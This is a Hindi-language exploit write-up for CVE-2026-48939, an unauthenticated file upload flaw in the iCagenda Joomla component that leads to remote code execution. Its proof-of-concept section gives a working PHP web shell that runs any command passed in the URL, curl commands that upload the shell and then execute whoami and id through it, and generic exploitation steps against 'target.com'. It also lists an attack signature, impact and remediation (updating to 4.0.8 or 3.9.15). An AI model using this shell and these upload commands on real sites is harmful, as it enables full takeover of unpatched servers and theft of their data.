CVE-2026-48939 - iCagenda में बिना प्रमाणीकरण के फ़ाइल अपलोड से RCE

अवलोकन

भेद्यता विवरण

iCagenda, Joomla के लिए एक लोकप्रिय इवेंट्स और कैलेंडर घटक, में बिना प्रमाणीकरण के फ़ाइल अपलोड भेद्यता मौजूद है जो दूरस्थ हमलावरों को Joomla 6 साइटों पर मनमाना PHP कोड अपलोड करने और निष्पादित करने की अनुमति देती है।

तकनीकी विवरण

भेद्यता फ्रंटएंड इवेंट सबमिशन फ़ॉर्म की फ़ाइल संलग्नक सुविधा में मौजूद है:

1. अनुपलब्ध अभिगम नियंत्रण: सबमिट एंडपॉइंट (index.php?option=com_icagenda&task=registration.submit) प्रमाणीकरण लागू नहीं करता है, जिससे "केवल पंजीकृत" अभिगम सेटिंग को दरकिनार किया जा सकता है।

2. कोई फ़ाइल सत्यापन नहीं: अपलोड की गई फ़ाइलें बिना निम्न के मूल एक्सटेंशन के साथ सहेजी जाती हैं:

   • एक्सटेंशन अनुमत-सूची सत्यापन
   • MIME प्रकार सत्यापन
   • फ़ाइल सामग्री निरीक्षण

3. प्रत्यक्ष फ़ाइल लेखन: फ़ाइलें वेब रूट के अंतर्गत सीधे /images/icagenda/frontend/attachments/[filename] में लिखी जाती हैं।

4. PHP निष्पादन: Joomla 6 पर, अपलोड की गई .php फ़ाइलें निष्पादन योग्य होती हैं, जिससे दूरस्थ कोड निष्पादन (RCE) होता है।

प्रमाण की अवधारणा (PoC)

विधि 1: curl का उपयोग करके (एकल कमांड)

# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF

# Upload the shell
curl -k -s \
  -F "title=Test Event" \
  -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
  "https://poloss-jomola.ddev.site/icagenda_submit.php"

# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"

विधि 2: PoC स्क्रिप्ट का उपयोग करके

# Navigate to project directory

# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site

शोषण चरण

1. भेद्य एंडपॉइंट पहचानें:

   root@kitploit:~

   https://target.com/index.php?option=com_icagenda&task=submit
   

2. PHP वेब शेल अपलोड करें:

   root@kitploit:~

   curl -X POST -F "jform[attachment][email protected]" \
     "https://target.com/index.php?option=com_icagenda&task=submit"
   

3. शेल निष्पादित करें:

   root@kitploit:~

   curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
   

प्रभाव

• गोपनीयता: गोपनीयता का पूर्ण नुकसान - हमलावर सभी फ़ाइलें पढ़ सकता है
• अखंडता: अखंडता का पूर्ण नुकसान - हमलावर सभी डेटा संशोधित कर सकता है
• उपलब्धता: उपलब्धता का पूर्ण नुकसान - हमलावर सेवा से वंचित कर सकता है
• दूरस्थ कोड निष्पादन: सर्वर का पूर्ण समझौता

हमले का सिग्नेचर

वास्तविक दुनिया के शोषण लॉग के आधार पर, हमले का सिग्नेचर इस प्रकार है:

# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"

# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0

निवारण

1. तत्काल: iCagenda को संस्करण 4.0.8 (या लीगेसी ब्रांच के लिए 3.9.15) में अपडेट करें
2. वैकल्पिक: com_icagenda फ़ोल्डरों को अस्थायी रूप से हटाएँ या उनका नाम बदलें
3. नोट: घटक को अनप्रकाशित करना इस भेद्यता से सुरक्षा प्रदान नहीं करता है

संदर्भ

• iCagenda Zero Day RCE - mysites.guru
• iCagenda आधिकारिक
• Changelog 4.0.8
• CISA ADP परामर्श

अस्वीकरण

यह PoC केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनाधिकृत पहुँच अवैध है।